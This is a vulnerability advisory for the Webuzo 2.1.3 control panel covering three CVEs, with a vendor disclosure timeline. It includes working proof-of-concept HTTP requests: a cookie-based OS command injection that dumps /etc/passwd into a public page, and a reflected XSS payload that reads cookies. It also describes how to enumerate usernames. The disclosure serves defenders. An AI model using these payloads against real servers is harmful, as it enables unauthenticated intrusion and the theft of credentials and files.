Webuzo 2.1.3 - Multiple Vulnerabilities

# Exploit Title: Webuzo Multiple Vulnerabilities

# Date: 7 October 2013

# Exploit Author: Mahendra

# Vendor Homepage: www.webuzo.com

# Software Link: http://downloads.webuzo.com/va.php

# Version: 2.1.3, other version might be vulnerable.

# Tested on: CentOS release 6.2 (FINAL)

# CVE : CVE-2013-6041, CVE-2013-6042, CVE-2013-6043



----------------------------------------------------



----------------------------------------------------





*Advisory details*



Webuzo 2.1.3 has been identified with multiple security vulnerabilities, which can be exploited to perform remote OS command injection, execute malicious script and enumerate users.



Authentication is not required to exploit these issues.





*Proof of Concept (PoC)*



----------------------------------------------------

Remote OS Command Injection (Webuzo) - CVE-2013-6041

----------------------------------------------------



GET /index.php?act=login HTTP/1.1

Host: xx.xx.xx.xx:2002

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: SOFTCookies7972_sid=[this is your cookie value]`cat /etc/passwd > /home/admin/public_html/pwned.html`

Connection: keep-alive

Cache-Control: max-age=0



--------------------------------------------------------------------

Reflected Cross-site scripting (File Manager module) - CVE-2013-6042

--------------------------------------------------------------------



Eventhough the user parameter is not validated properly which resulted in XSS, there are sets of security protection in place provided by vendor. There is security token which randomly generated, however the token is passed via URL and HTTPS is not enforced by default. The vendor also claims that the token is assigned only to a particular IP address which will logout the user if the token is used by another IP address.



This issue can be considered as informational or very low risk issue depending on the environment setup and method used by attacker to obtain the token.





HTTP Request		: POST

Affected parameter	: user

URL/page			: /filemanager/login.php

Payload				: 1" onmouseover=alert(document.cookie) pwned="



POST /sesseisbp4bciukbenlo/filemanager/login.php HTTP/1.1

Host: xx.xx.xx.xx:2002

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://xx.xx.xx.xx:2002/sesseisbp4bciukbenlo/filemanager/login.php

Cookie: navphp=ajax; navphp_cols=9; catforums=2; catblogs=2; catwikis=2; catcalendars=2; catgames=2; catmail=2; catpolls=2; catfiles=2; SOFTCookies7972_sid=eisbp4bciukbenlouewpgmwjlgchervf; PHPSESSID=28u75itaq1gob5it0lfb7cesg5

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 86

 

user=1"+onmouseover=alert(document.cookie)+pwned="&passwd=asd&action=Login



----------------------------------------------------

Username enumeration - CVE-2013-6043

----------------------------------------------------

1. Valid username and invalid password -> application returns “The username and password you entered is incorrect”

2. Invalid username and password -> application returns “The Webuzo username you entered is invalid"







*Advisory Timeline*

02-10-2013: Vendor notified

02-10-2013: Vendor acknowledged issues.

03-10-2013: Vendor released new version 2.1.4 - http://www.softaculous.com/board/index.php?tid=4526&title=Webuzo_2.1.4_Launched

10-10:2013: This advisory is published